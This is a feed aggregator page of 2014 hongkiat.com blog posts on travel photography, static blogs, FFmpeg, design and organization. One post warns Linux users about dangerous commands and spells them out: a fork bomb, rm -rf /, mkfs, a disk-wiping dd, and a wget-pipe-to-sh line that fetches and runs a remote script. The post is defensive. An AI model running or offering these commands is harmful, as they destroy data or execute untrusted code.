Skip directly to content

Feed aggregator

5 Creative & Unique Ways People Document Their Travels

hongkiat.com - Fri, 10/31/2014 - 14:01

Documenting your travels is not a new concept. It is a way to remember your travels and the memories you associate with the places that you visited. Most of us would take tons of photos. Some would keep a travel journal or a travel blog. Others would rather video the trip and even turn it into a mini movie.

But surely that’s not all there is to it. What if you want to document your travels with a little bit more flair than just posing with a famous landmark in the background? What if you want to include your significant other with you but you don’t want to do it the conventional way? Maybe all you need is a litte inspiration. Take a look at these 5 couples who document their travels creatively by going down the road less traveled.

1. Feet First

We never get to see the faces of British photographer Tom Robinson and his girlfriend, Verity. Just their feet.

It all started in 2005 when the couple were sitting on Brighton Beach, UK. Tom thought that a picture with their feet pointing out to the sea would look nice. It became a photo series from there as the pair went on to travel around the world together. Eventually one thing led to another with Tom and Verity tying the knot. Their photo series ‘Feet First’ is still going strong… with a couple of additional legs as their family expands.

Keep up with where this family travels next at this site.

2. Follow Me

Murad Osmann has taken over Instagram the moment his girlfriend lead him to various countries by hand.

The first picture was taken accidentally when Murad’s girlfriend Natalia Zakharova became annoyed at his constant photo-taking when holidaying in Barcelona, Spain at 2011. To stop him, she grabbed him by his hand to pull him forward. Murad didn’t stop and that photo went on to inspire his ongoing photo series ‘Follow Me’.

If you’re wondering how it worked out for them, just take a look at the picture below.

3. Lens Between Us

This is perfect for couples who are both photographers like Peter Sedlacik and Zuzu Galova.

Somewhere around 2013, the pair wondered how they can capture each other during their travels. They eventually came up with the idea to take each other’s photo, giving the impression that the other is always the object of their attention. It’s a fascinating and sweet concept from the Slovakian couple as viewers get to see 2 different POVs. The series is made even more delightful as Peter and Zuzu make sure to shoot each other amidst unique backdrops instead of at conventional tourist stops in each country they travel to.

Peter and Zuzu are currently residing in Australia. For more of their adventures, check out their Facebook, Instagram or Tumblr.

4. Lego Travellers

You might have seen this Scottish couple’s cute photos of their Lego selves on Instagram or Facebook.

Craig McCartney and Lindsey Haggerty have been traveling all over the world long before their Lego personas. It all started when Craig found his old Lego collection at his mom’s place. He then got an idea to turn 2 Lego minifigs to represent himself and Lindsey. The minifigs’ first trip was when Craig presented them to Lindsey as her birthday gift when they were at Paris, France in 2013.

Their Lego selves now come along with the couple wherever their wanderlust takes them.

5. #BrinsonBanksing

Kendrick Brinson and David Walter Banks took it up to the next level by starting a hashtag movement on Instagram.

Known as #BrinsonBanksing, the photographer couple were captured kissing candidly by a friend at Las Vegas, Nevada in 2010. Kendrick and David liked the pose so much that they decided to recreate it on their own with a self-timed camera. And they did it again, and again, and again everywhere they go as a way to document their love for each other. Even after they got married in 2012.

No related posts.








How To Build A Static Blog Using Assemble

hongkiat.com - Fri, 10/31/2014 - 11:01

Today, we are going to take a look at Assemble, a Grunt plugin that allows us create and manage static sites with ease. Assemble may be slightly similar to Jekyll, but it brings more flexibility and features to the table that makes it more powerful.

Permalink, Bootstrap Boilerplates, and LESS compiler are the features that makes Assemble a comparable tool to a full-fledged CMS application. Herein, we will show you how to use Assemble to create a static blog.

Step 1. Installing Project Dependency

Assemble requires Grunt to function (refer to our previous posts on Node.js and Grunt if you need further assistance). Then, once Node and Grunt are all set, create a package.json file in the project folder to specify the Node packages that we will employ to build our blog.

Add the following code in package.json:

{ "devDependencies": { "assemble": "~0.4.40", "grunt": "~0.4.5", "grunt-contrib-connect": "~0.8.0", "grunt-contrib-watch": "^0.6.1" } }

These lines of code in package.json tells Node that our project will be dependent on Grunt, Grunt Connect, Grunt Watch and Assemble. Now, we will install these packages by running this command via the Terminal.

npm install Step 2. Load and Register Grunt Tasks

After all the dependencies are downloaded, create grunfile.js and put the following lines in:

module.exports = function(grunt) { grunt.initConfig({ pkg: grunt.file.readJSON('package.json') }); grunt.loadNpmTasks('assemble'); grunt.loadNpmTasks('grunt-contrib-connect'); grunt.loadNpmTasks('grunt-contrib-watch'); grunt.registerTask('default', ['connect:livereload','assemble','watch']); };

The lines we put in gruntfile.js above merely load and register the dependencies that we have just downloaded through the npm install command. We will make these tasks “work” later in the following steps.

Step 3. Folder and File Structure

We will now organize the folder and file structure of our blog, as follows:

MyBlog/ package.json gruntfile.js app/ layout/ default.hbs content/ page/ index.hbs blog/ first-posting.hbs partials/

Assemble allows us to configure the file and directory organization through the gruntfile.js. But, for now, let’s just keep up with the default configuration, as shown above.

Step 4. The Blog Layout

In Assemble, Layouts set the foundation of a page. In Step 3, we have created a layout file named default.hbs in the MyBlog/app/layout/ folder. The .hbs extension is used because Assemble uses the Handlebars templating language.

The default.hbs will be used by all pages in the blog which refers to this file. Herein, we will use Bootstrap via the BootstrapCDN to set the styling base for our blog. We then add in the following codes indefault.hbs:

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>My Blog</title> <link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css"> </head> <body> <div class="container"> <div class="row"> <div class="col-md-12"> <h1 class="page-header text-center">MY BLOG</h1> </div> <div class="col-md-9 main"> {{> body }} </div> </div> </div> </body> </html> Step 5. Configuring the Grunt Tasks

As the next step, create a Gruntfile.js to configure directories and files for Assemble to compile. Open Gruntfile.js and add the following codes in the Grunt.initConfig section:

grunt.initConfig({ pkg: grunt.file.readJSON('package.json'), watch: { assemble: { files: [ 'app/content/blog/*.hbs', 'app/content/pages/*.hbs', 'app/layouts/*.hbs', 'app/partials/*.hbs' ], tasks: ['assemble'] }, livereload: { options: { livereload: '<%= connect.options.livereload %>' }, files: [ './dist/*.html' ] }, }, assemble: { options:{ layoutdir: 'app/layouts', flatten: true, layout: 'default.hbs', partials: 'app/partials/*.hbs' }, page: { files: { 'dist/': ['app/content/page/*.hbs'] } }, blog: { files: { 'dist/': ['app/content/blog/*.hbs'] } } }, connect: { options: { port: 8800, // change this to '0.0.0.0' to access the server from outside hostname: 'localhost', livereload: 35728 }, livereload: { options: { open: true, base: './dist' } } } }); Step 6. Generating Page and First Post

We can now build a page. Let’s open index.hbs file in MyBlog/app/content/page/ folder and add the content.

<h3>Home Page</h3> <section> <p>This is our Home Page. </p> </section>

Through the Command Prompt or Terminal, run grunt command. This command will generate the index.hbs file into a html file and immediately launch the file in the browser. Let’s look at the result in the browser.

We will also generate the first post of our blog. Open the first-post.hbs inside the MyBlog/app/content/blog/ folder and lay out the content, like so.

<h3>First Post</h3> <section> <p>I am the first post. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Odio, esse, perferendis, earum in sunt voluptate officiis voluptates quam pariatur veritatis quis deleniti fugit expedita aliquam est repellendus autem dolor non?</p> </section>

Once again run thegrunt command and you will see the first-post.html file generated in a newly created folder named dist. Navigate to localhost:8800/first-post.html on the browser, you should find the first post to be the same as the image below.

You can create more posts by creating more.hbs files and place them inside in the MyBlog/app/content/blog/ folder.

Step 7. Create a List of Blog Posts

Now, we will create a list of posts and put it in the blog sidebar. To do so, we will use the Partial feature of Assemble. A “Partial” is a reusable fragment of codes that can be included into the other pages.

The Sidebar is meant to contain a list of our blog posts as well as the link to the respective post. Let’s make a new file named sidebar.hbs. Add the following code in and save it inside the MyBlog/app/partials/ folder.

<h3>Sidebar</h3> {{#each pages}} <li class="list-unstyled"> <a href="{{relative dest this.dest}}">{{ data.title }}</a> </li> {{/each}}

Then, call the Sidebar partial in default.hbs, as follows:

<div class="col-md-3 sidebar"> {{> sidebar }} </div>

The #each is a loop that will list all of our blog posts in MyBlog/app/content/blog/ folder. The result is shown below:

Step 8. Using Variables

With Assemble, we can use a variable using YAML front matter. YFM (YAML front matter) is an optional section that is placed at the top of a page and is used for maintaining metadata for the page and its contents. We will use it to specify the post title; open first-post.hbs, and modify the code like so:

--- title: Post One --- <h3>{{ title }}</h3> <section> blahblah... </section>

The {{title}} tag will be filled with “Post One” that we’ve defined on top.

Step 9. Ordering list of posts

Assemble allows us to order and sort the list of post based on the ‘term’ specified. As an example, here we will order our blog posts on sidebar by the date. Let’s modify our post by adding date on YML front matter like below:

--- title: Post One date: 2014-07-10 ---

Also modify other post files in MyBlog/app/content/blog/. Then, on the sidebar.hbs, we will display the date below the post title. Modify the code like this:

<ul class="list-unstyled"> {{#withSort pages "data.title"}} <li> <h4><a href="{{relative dest this.dest}}">{{ data.title }}</a></h4> <small>Posted on: {{formatDate data.date "%B %d, %Y"}}</small> </li> {{/withSort}} </ul>

The result is the post list in the sidebar which is ordered by date.

Conclusion

Now we have a simple blog generated with Assemble. Assemble can be used as an alternative tool to build websites as we’ve already shown you. And should you want to, you can use a free web hosting service like Github Pages or servers that support Node.js like Heroku to put your site online.

No related posts.








10 Comic Themed Posters To Teach You Life Lessons

hongkiat.com - Thu, 10/30/2014 - 16:01

With a wealth of resources available to us, sometimes we look for little nuggets of wisdom from the Internet or from the people around us. Comics aren’t usually a person’s first choice on life’s ponderings but there are definitely a few gems that can give you some insight and make you chuckle too.

Comic themed posters are especially great because you can hang them up on your wall as a reminder of a lesson that’s important to you. Here we’ve gathered 10 comic themed posters filled with life lessons. From comics that have to do with lessons on parenting to those about finding passion, why not display your train of thought in a different way?

1. Peanuts Celebrate the Little Things Comic Poster

Charles M. Schulz is the man responsible for the ‘Peanuts’ comic strip which features a famous dog that we’re all probably familiar with, Snoopy. Though he stopped creating them in 2000, this little poster becomes an adorable reminder of how we should always celebrate the little things. [Get it here]

2. Motivational Poster On Creativity

The Zombie Office is actually a webcomic done by Jay Nolte and although the word zombie is probably enough to get you running in the opposite direction, this motivational poster on creativity is pretty spot on. And who doesn’t love a little bit of zombie humor right? [Get it here]

3. "Choose A Job You Love…" Poster

ZenPencils is one of the more inspirational webcomics out there and you’ve probably seen his stuff being shared around. This particular poster based on Confucious’ famous quote is a good reminder for all those who need a little bit of encouragement in their jobs. [Get it here]

4. "A Year Of Parenting" Poster

There are many stages that a person goes through in life and becoming a parent is one of them. Grant Snider of Incidental Comics illustrates this perfectly in a comic that all parents and future parents would be able to relate to. [Get it here]

5. “Simple Pleasures” Poster

How could we do a collection and not include the lover of lasagna himself, Garfield? Jim Davis’ comic strips may seem quite simple at first glance but the witty dialogue and insight offered is one that is truly timeless. [Get it here]

6. 10 Words You Need To Stop Misspelling Poster

This may seem like an odd choice but a lesson in spelling is definitely a life lesson. You wouldn’t want your potential date to turn you down over something as trivial as that, right? The Oatmeal webcomics has come up with this nifty little poster to help remind you of the right way to spell these common words. [Get it here]

7. 11 Lifetimes Poster

A pretty poster that was originally inspired by another SMBC inspirational comic. This poster serves as a reminder about how short our life is and how we should aim to make whatever ‘lifetimes’ we have count. [Get it here]

8. Beetle Bailey Goes Pink Wall Art Poster

A full on comic strip that you may have stumbled upon in the paper’s. This particular strip from Beetle Bailey touches upon the subject of disregarding everyone else’s opinion of you in a lighthearted manner. [Get it here]

9. “To Love is To Be Vulnerable” Poster

Of course, this list wouldn’t be complete without a lesson on love, right? This is another meaningful one by ZenPencils, which is taken from a C.S. Lewis quote. If you feel like love may be a risky situation, this will help inspire you to take it. [Get it here]

10. Calvin And Hobbes On The Tree Poster

Sometimes, the cool thing about comics is that you don’t need words for it to make sense. As depicted here, there’s something great about looking at things from a different perspective (or not looking as Calvin and Hobbes demonstrates here). A handy poster to help you stay calm and relaxed. [Get it here]

No related posts.








A Guide To Video And Audio Conversion Using FFmpeg

hongkiat.com - Thu, 10/30/2014 - 11:01

FFmpeg is a very powerful and great command line tool used for performing various conversion operations on audio and video files. The good thing about this tool is that it is absolutely free to use. It is available for Windows, Linux and Mac operating systems.

Not everyone knows how to use it though and for that purpose, I’ve come up with this guide on how to use FFmpeg for Windows OS. From the very first step of downloading the program to cropping an audio file, this tutorial aims to help you cover the basics, so that you can play around more later on.

Downloading FFmpeg for Windows

To download the tool, click here to go to the webpage. Once you’ve done that locate the download option, as shown below. The download option highlighted in green is for 32-bit Windows OS while the other option in red is for 64-bit Windows OS.

To verify if your OS is 32-bit or 64-bit, click on the Start icon on the left side of your desktop then type Run in search bar and in run write the command of dxdiag and press the Enter key.

Under the heading of ‘System Information’, you can easily find the name of the OS and the version being used (32-bit or 64-bit).

Extracting the Files

Once you have downloaded FFmpeg, you’ll have to extract the files from the .zip folder. For this purpose, you should have a zip extractor installed. You can download a free zip extractor called 7-zip from here.

After extracting the files, select all of the files, create a folder in C drive named FFmpegTool and paste all the files in this folder as shown below. It is important to note that you should keep the folder name and drive the same to avoid any problems in executing commands to perform conversions.

Starting FFmpeg

Go to Run, type cmd and press the Enter key. A command line window will appear as shown here.

Type cd\ and press the Enter key. It should appear as below.

Now type cd FFmpegTool, this command will allow you to enter into the FFmpegTool folder which we have created earlier (be careful with the spelling as any spelling mistake in command will cause an error).

Type cd bin and press the Enter key to access the content in the bin folder. You should see the following.

Finally, type ffmpeg.exe and press the Enter key. It will take 1 or 2 seconds to execute the command and you should be able to see the result shown below.

If you see text lines written on your screen (as per the above image) then it means the tool is working fine and ready to use.

Important Commands

Now, we’ll go through some of the important commands for FFmpeg. Copy the video in the bin folder on which you’ll perform the operations. I have copied a video called samplevideo and will use this video throughout the remainder of this post.

1. Extracting Audio only From Video File

Once you have tested that FFmpeg is working fine then type in the following command:

ffmpeg -i yourvideoname.mp4 -vn -ab 128 outputaudio.mp3

Here -vn is used to extract audio and -ab is used to save audio as 128Kbps MP3 file. You can change the bit rate to 256Kbps or something else. Just change the value after -ab. All of the output files will be stored automatically in the bin folder.

2. Extracting Video While Muting Audio

In the command written below, -an is used to remove the audio from the video file. The command should look like so:

ffmpeg -i yourvideoname.mp4 -an mutevideo.mp4

3. Resize the Video File

In the command written below, -s is used to resize the video file.The command is:

ffmpeg -i yourvideoname.mp4 -s 640x480 -c:a copy resizedvideo.mp4

4. Adding Poster Image to an Audio File

You can add a poster image to your audio file easily and the output would be a video file with an image being displayed in the front and audio in the background. This is really handy when uploading MP3 files to video hosting and sharing sites.

You must copy the image in the bin folder. Then execute this command:

ffmpeg -loop 1 -i inputimage.jpg -i inputaudio.mp3 -c:v libx264 -c:a –strict experimental -b:a 192k -shortest outputfile.mp4

5. Cut Video File into a Smaller Clip

The -ss defines the starting time stamp (here starting time is the 45th second) and -t tells the total time duration for the clip. So, -t 40 means 40 second duration. The command should like this:

ffmpeg -i yourvideoname.mp4 -ss 00:00:45 -codec copy -t 40 outputclip.mp4

6. Split a Video File into Multiple Parts

Most of the hosting servers only allows for a specific size of file to be uploaded. To overcome this issue, you can use the split command to split a large video file into smaller parts, which is:

ffmpeg -i yourvideoname.mp4 -t 00:00:59 -c copy part1.mp4 -ss 00:00:59 -codec copy part2.mp4

Here -t 00:00:59 represents a part that is created from the start of the video to the 59th second of video. -ss 00:00:59 shows the starting time stamp for the video. It means that the 2nd part will start from the 59th second and will continue up to the end of the original video file.

7. Convert a Video File from One Format to Another Format

You can see all of the formats supported by FFmpeg by using the following command:

ffmpeg -formats

To convert a video file from one format to another format, the following command is used:

ffmpeg -i yourvideoname.mp4 -c:v libx264 outputfilename.wmv

The command below is an example of when converting a .mp4 file into a .wmv file.

8. Join (merge) Video Files

FFmpeg can also join multiple video or audio files with the same codecs. Create a .txt file including a list of all the input video files that are supposed to be merged. The keyword file is followed by name, path and the format of the video files. Add all of the files in the same way in the created .txt file and save this .txt file in the bin folder.

Now type the following command to join the video files:

ffmpeg -f concat -i file-list.txt -c copy outputfile.mp4

9. Cropping an Audio File

To crop part of an audio file, the following command can be utilized:

ffmpeg -ss 00:00:15 -t 45 -i sampleaudio.mp3 croppedaudio.mp3

Here, -ss 00:00:15 is the staring time and -t 45 is the duration of the cropped file.

Conclusion

We’ve covered downloading and installing FFmpeg as well as some of the useful commands that you can use. You can explore the rest of the commands via the help option of FFmpeg. Just type in ffmpeg -h in command line. This will list all the available options and commands for these options. So why don’t you try it out for yourself?

No related posts.








20 Minimalist Portfolio Designs You&#8217;ll Love

hongkiat.com - Wed, 10/29/2014 - 16:01

If you have a passion for white space and love sharp, clean design, the minimalist style would probably be right up your alley. In minimalist design, the main focus is on the content instead of heavy design effects. Basically, it does as the name suggets by keeping it simple.

There’s a lot of potential for minimalist design in plenty of areas. As an artist, one of the ways you can use this is by incorporating it into your design portfolio. Take a look at these 20 elegant and sleek minimalist portfolio designs I’ve collected to get you inspired.

p.entry-image { margin-bottom:40px; }

Tim Brack

Bekka Reese

Clement Grellier

Steve

Razvan Garofeanu

Admir Hadzic

Charles-Axel Pauwels

Feven Amenu

Tina Gauff

One Design Company

Mickaël Larchevêque

Nicolas Desle

Stef Ivanov

Brian Delaney

Brian Nathan Hartwell

Sang Han

Dennis Adelmann

Adam Mottau

Jason James

Jeroen Homan

Here’s more – Creative Single-page Portfolio Websites »

No related posts.








Designers: Why You Need A Mentor

hongkiat.com - Wed, 10/29/2014 - 11:01

What is a mentor? Plenty of people think it’s some formal, master/apprentice agreement that lasts for a certain number of years, but it doesn’t have to be. A mentor is simply someone with more experience than you, who helps guide you on the right path and steer you away from the most common mistakes young designers make.

These can be relationships that last for a short period of months or years – or they can last for a lifetime. The bottom line is, if you’re a professional designer, you will need your own mentor at some point. Let’s explore some of the reasons why every designer needs to find a mentor of their own.

You Don’t Have To Reinvent The Wheel

Why bang your head against the wall over and over again? A mentor can tell you what will work and what won’t in your designs, as well as your career as a whole.

Lessons that might take you years to learn about how to deal with clients, incorporate storytelling properly, or communicate with your target audience in a way that will have them begging for more can all be learned quickly and efficiently from a mentor. The few nuggets of wisdom I’ve received from mentors in the past have been invaluable in helping me avoid costly mistakes in my career.

Not A Perfect Match? No Problem

Another thing to note here is that these mentors don’t actually have to be designers, or matched exactly to the kind of work you do. The most helpful mentor I’ve ever had was a business developer with many years of advertising and PR experience. I do none of those things in my work (I’m a brand designer and copywriter), but still, the things he taught me were applicable to the work I do as well. Don’t be afraid to look outside your industry for those who have things to teach you.

Making The Connections

A good mentor can introduce you to people in and out of your industry you would otherwise never have the chance to meet. Have your eye on that awesome client you’ve been dying to work for? He or she might be acquainted with your mentor, and they can make the introduction for you. That saves you months or even years of trying (and failing) to get your foot in the door. Want more visibility for the cool personal projects you do on the side? Your mentor might know someone who knows someone who can get you that visibility.

You never know who knows who in the creative industry. It’s a smaller community than you think, and people do talk to one another – about the good as well as the bad. It’s often said that “it’s not what you know, it’s who you know.” I would go one step further and add: “it’s not who you know…it’s who they know.” Your mentor may not be the CEO or president of anything impressive themselves, but it’s likely they know someone who is.

More Credibility As A Designer

Designers who have illustrious mentors have a certain prestige that other designers don’t have. Being able to name-drop some rockstar designer gets attention and opens up doors to better opportunities in the industry. You don’t even have to learn anything significant from them. Simply by being associated with them you will have raised your status as a designer, and others will seek you out on that connection alone.

It might seem sleazy, but it’s just human nature. We all want to be associated with something great, and if your mentor is really as great as people think they are, they can help you filter out those not worth associating or doing business with.

Moral Support

A mentor has a vested interest in seeing you succeed. They’ll be there for the ups and downs of your career, cheering you on when you achieve something great. Since they’re already established, there’s no jealousy or need to compete with you for your accolades (if there is, run as far away as you can – that’s not a good mentor at all). All that will be there is pride at your accomplishments and an ear to listen to your struggles.

The very best mentors can almost assume the role of a family member, offering you the same kind of support that you might get from a parent or best friend, only with more technical knowledge of your field. Grandma might love your work, but unless she’s a designer, the advice she’ll be able to give you will be limited.

Conclusion

How has having a mentor helped your design career? Do you have any thoughts on what having (or being) a design mentor is all about?

No related posts.








9 Linux Commands &#38; Codes To Be Wary Of

hongkiat.com - Tue, 10/28/2014 - 14:01

Linux shell/terminal commands are very powerful and just a simple command could lead to one deleting a folder, files or root folder, etc.

In some cases, Linux won’t even ask you for confirmation rather it will execute the command right away causing you to lose valuable data and information stored in these files and folders.

It is common for people to post content on the web recommending new Linux users to execute these commands. This might seem like a joke for someone who has posted the content but it’s no laughing matter for the person on the other end.


(Image Source: Desktop Nexus)

We’ve gathered some Linux commands that are quite harmful for your system to help you avoid them. Do keep in mind that they are indeed dangerous and can even be altered in a variety of ways to produce new commands to inflict more damage.

An important thing to note is that some of these commands are only dangerous if they are prefixed with sudo on Ubuntu. While on other distributions of Linux, most of these given commands will be dangerous to execute as root.

Take a look at the 9 commands and codes you should avoid executing.

1. Linux Fork Bomb Command

:(){ :|: & };: also known as Fork Bomb is a denial-of-service attack against a Linux System. :(){ :|: & };: is a bash function. Once executed, it repeats itself multiple times until the system freezes.

You can only get rid of it by restarting your system. So be careful when executing this command on your Linux shell.

2. mv folder/dev/null Command

mv folder/dev/null is another risky command. Dev/null or null device is a device file that discards all the data written on it but it reports that the writing operation is executed successfully. It is also known as bit bucked or black hole.

3. rm -rf command

rm -rf command is a fast way to delete a folder and its content in the Linux operating system. If you don’t know how to use it properly then it can become very dangerous to the system. The most common combinations and options used with rm-rf command are listed below:

  • rm command is used to delete the files in Linux system.
  • rm -f command removes read-only files in folder without prompting.
  • rm -r command deletes the content of a folder recursively.
  • rm -d command is used to remove an empty directory but it will refuse to remove directory if it is not empty.
  • rm -rf/ command is used for forced deletion (it deletes it even if it’s write protected) of all the content in root directory and sub folders.
  • rm -rf* command is used for forced deletion of all the content in the current directory (directory you are currently working in) and sub folders.
  • rm -rf. command is used for forced deletion of all the content in the current folder and sub folders. The rm -r.[^.]* command can also be used.
  • rm -i command is used for removal of files and folders but a prompt will appear before removal.
4. mkfs command

mkfs can be a dangerous command for your Linux based system if you don’t know its purpose. Anything written after the mkfs will be formatted and replaced by a blank Linux file system.

All the commands mentioned below will format the hard drive and it requires administrator rights:

  • mkfs
  • mkfs.ext3
  • mkfs.bfs
  • mkfs.ext2
  • mkfs.minix
  • mkfs.msdos
  • mkfs.reiserfs
  • mkfs.vfat

The command mkfs.cramfs will do the same thing as the above but it does not require administrator rights to execute.

5. Tar Bomb

The tar command is used for combining multiple files into a single file (archived file) in .tar format. A Tape Archive (Tar) bomb can be created with this command.

It is an archive file which explodes into thousands or millions of files with names similar to the existing files into the current directory rather than into a new directory when untarred.

You can avoid becoming a victim of a tar bomb by regularly creating a new protective directory whenever you receive a tar file and then moving the received tar file into this directory before untarring.

If the tar file is indeed a tar bomb then you can simply remove the newly created directory to get rid of it. Another way to avoid the explosion of a tar bomb is via the -t option to list all of the content of a tar file to give you an idea of the type of content contained within the tar file.

6. dd command

The dd command is used to copy & convert hard disk partitions. However, it can turn out to be harmful if you specify the wrong destination.

The command may be any one of these:

  • dd if=/dev/hda of=/dev/hdb
  • dd if=/dev/hda of=/dev/sdb
  • dd if=something of=/dev/hda
  • dd if=something of=/dev/sda

The following command will zero out the whole primary hard drive: dd if=/dev/zero of=/dev/had

7. Shell Script Code

Someone may victimize you by giving you the link to a shell script and endorsing you to download and execute it. The script may contain some malicious or dangerous code inside. The format of command may look like this: wget http://some_malicious_source -O- | sh. The wget will download the script while the sh downloads the script execution.

8. Malicious Source Code

Someone gives you the source code and asks you to compile it. The code may appear to be a normal code but in fact some malicious code is disguised in the large source code and it may cause harm to your system. To avoid being victimized by this kind of attack, only accept and compile your source code from trustworthy sources.

9. Decompression Bomb

You have received a compressed file and you are asked to extract this file which appears to be very small in size but may be a few KB. In fact, this small sized compressed file contains very highly compressed data.

Once the file is decompressed, hundreds of GB of data is extracted which can fill up your hard drive to bring down the performance of your system. To avoid this situation, always remember to accept data from trustworthy sources.

No related posts.








10 Handy Tips To Keep Your Color Swatches &#38; Palettes Organized

hongkiat.com - Tue, 10/28/2014 - 11:01

Knowing that you have something, but not knowing where it is can be a frustrating feeling. This can be particularly true of colors you’ve created or saved for your design projects. It’s a waste of time to have to hunt through color swatches, just to have to start the search all over when it’s time to switch hues. Finishing a project can be difficult if you’re constantly using your eyedropper tool or plugging in CMYK values into the Color Picker.

As any experienced designer knows, whether you’re designing for print or web, having your color swatches and palettes well-organized can help speed up your process. With Adobe Illustrator and Photoshop, it’s easy to keep your color swatches and palettes organized. Here are 10 tips to keep your color swatches organized and streamline your graphic design process.

Getting Started

To start organizing, start up Adobe Illustrator or Adobe Photoshop, then click on the Window menu and put a check mark next to Swatches. Your swatch palette should now be open and ready for you to begin sorting through.

1. Get rid of default swatches

When you open a new document, usually the default set of colors will be opened in the swatch palette. Odds are you won’t be using most of these colors so start fresh by deleting the defaults. In Photoshop, you can simply right click the color and select Delete Swatch.

To delete swatches in Illustrator, simply click on the menu icon in the corner of the swatch palette window and choose Select All Unused. Next, click the ‘Delete Swatch’ icon (it looks like a trash can) at the bottom of the palette window and select Yes in the dialog box. You can also drag and drop Swatches to the Delete Swatch icon (trash can).

2. Start with a clean palette

A clean swatch palette is empty, yet full of possibilities. Beginning each new document with a clean swatches palette can be great for helping you keep colors for each project organized. You can easily set your Adobe Illustrator to start with a clean palette on every new document in the future.

Simply open a new blank document, get rid of all the default swatches, then save this blank document in the plug-ins folder inside the Illustrator application folder. Give it a name you’ll remember, like “Adobe Illustrator Clean Palette Startup”. The next time you start up Illustrator and create a new design file from the template, you’ll have an empty color palette at the start.

3. Deleting and replacing swatches

If you’ve decided you no longer need a color, there are two approaches you can take to get rid of it. You can delete the swatch by selecting it with your mouse then clicking the Trash can icon in the corner of the Swatch menu. You can also replace it outright by holding down Option/Alt, then dragging and dropping a new color or gradient onto it.

4. Merge swatches

Sometimes when you’re copying and pasting with various documents, you can end up with multiple swatches of the same color. This can clutter up your palette and cause confusion.

To merge swatches, decide which of the swatches you’d like to keep and select that color first. Then, Command/Control click on the other swatches you’d like to merge with your chosen swatch. When that’s done, select Merge Swatches in the Swatches panel menu. The first color you’ve chosen earlier will remain, while the others will disappear.

5. Reorganizing swatches

When adding colors to a swatch palette, the new colors don’t always appear in the display where you want them to be. Reorganize where your color swatches are located by dragging them to where you want and dropping them.

If you like the list view, though, you’ll need to do a little more work. Illustrator lists colors by name alphabetically in List View, so you’ll need to name your colors accordingly.

One easy way to get your colors where you want them is to precede the colors’ names with a number or letter to group the colors according to your preference. Simply double-click the swatch on the palette and a menu will pop up where you can rename the color.

6. Create color groups

Color group is a tool in Adobe Illustrator that allows you to group related color swatches together within the Swatches panel. Color groups are an excellent way to organize variations of similar colors when working on a project.

Once you create all the colors you need, you can save them into a group and have the palette whenever you need it. Simply click the drop down menu in the Swatch menu and choose one of the two Save Swatch Library options. Name the library something that relates to the project for best results.

7. Use your library

The swatch library is excellent for keeping, managing and organizing swatches and color groups in Adobe Photoshop and Illustrator. You can set up your color palettes and save them for later use. Both of these Adobe products also come with preset libraries that can be useful.

If you’re only going to use a color swatch or palette once, it may be unwise to save them to the library. These libraries work best for recurring projects or colors.

8. Collect color palettes and swatches

Can’t find the colors you want in your library? Feeling uninspired? There are a variety of free tools available that allow users to create and import color palettes in moments.

Whole color schemes can be developed from a colorful photograph or something as simple as a single color. Tools that provide exact color mixes for download and are compatible with your computer software are best. Otherwise, you might end up having to copy all the color values over by hand.

9. Syncing swatches

Do you work on multiple machines or collaborate with other people? With Illustrator Creative Cloud, you can sync all sorts of settings across multiple machines, including swatches and libraries. Illustrator CC can also be useful for creating a back up of your settings.

To use this feature, open up the Preferences menu and choose Sync Settings. Then select either ‘Sync All Settings’ or ‘Sync Selected Settings’, and make sure that Swatches is one of the items you’ve selected in the dialog box. Finally, click ‘Sync Settings Now’. You should now be able to access your settings and swatches through the cloud.

10. Stay organized

Now that you’ve organized your swatch library, maintain the progress that you’ve made. Name, group and organize your palettes as you use them. Save your swatches to the libraries for future projects. Be sure to delete any unused or unnecessary color palettes in your library.

Conclusion

It will take time to organize your palettes and maintaining their organization could take a little getting used to, but the effort will be worth it. This could help you finish projects faster and if you ever need to add to a project, you’ll have the colors ready to go. With all of your colors located right where you expect to find them, you can save yourself time hunting them down or recreating them.

More With Illustrator

Editor’s note: This post is written by Sara Duane-Gladden for Hongkiat.com. Sara is the editor for Smartpress.com, an online printing service based in Minnesota, and a contributor to the Smarptress.com blog. She also works as a freelance copywriter and photographer in her spare time. You can find her on G+.

No related posts.








20 Things Organized In Neat And Creative Manner [PICS]

hongkiat.com - Mon, 10/27/2014 - 16:01

There’s a hashtag on Instagram called #ThingsOrganizedNeatly. Under the hashtag, you’ll find a plethora of images that users took of things arranged neatly, almost obssessive compulsively even.

p.entry-image { margin-bottom:40px; }

If you hadn’t known about the hashtag, you might have come across a Tumblr blog that collects all these pictures. Chances are if that’s not the case then you may have seen the photos circulating the World Wide Web. But if you’ve somehow just never came across any of the images, you’ll now get to see these 20 pictures showcasing various things organized neatly.

Medieval armour. Who needs a proper museum type display when you do this? Definitely more interesting. (Image source: The Telegraph)

Bottle caps. A simple yet creative way to keep tabs on all the bottle caps. (Image source: Things Organized Neatly)

Tomatoes. Photographer Emily Blincoe arranges them beautifully by gradient. (Image source: Emily Blincoe)

Cereal. Some people have too much time on their hands. Or maybe they’re just a bit loopy. (Image source: Things Organized Neatly)

After beachcombing. Trash has never looked so fascinating (or colorful). (Image source: Things Organized Neatly)

Flowers. Ursus Wehrli likes to take things apart and rearrange them like this bouquet of flowers. (Image source: Things Organized Neatly)

Burger. Or more accurately, a deconstructed burger arranged in a grid by Pete Forester. (Image source: Pete Forester)

Toys. This is too cute to not include in this list. (Image source: Things Organized Neatly)

Clothes. Phil Cohen knows how to keep things classy and stylish with his arrangement. (Image source: Things Organized Neatly)

Tools of trade. Architect Patrick Bradley knows that he’s a valuable tool as well. (Image source: Patrick Bradley)

Eggs. Photographer Sam Kaplan decided to change things up in this arrangement. (Image source: Sam Kaplan)

Camera. It’s interesting to see the various parts of an old vintage camera laid out neatly. (Image source: Things Organized Neatly)

Classic video games. Consoles and cartridges for a nostalgic trip down memory lane. (Image source: Jim Golden)

Pastels. Okay, so they are not supremely organized but close enough. And still pretty. (Image source: Things Organized Neatly)

Chillies. This massive collection showcases Tabasco chilli peppers from Dan Bigelow’s garden. (Image source: Dan Bigelow)

Things to take for a vacation. Or a day out at the beach. I like that it’s color coordinated. (Image source: Things Organized Neatly)

Rocks. Emily Blincoe features her aunt with her rock collection arranged around her. (Image source: Emily Blincoe)

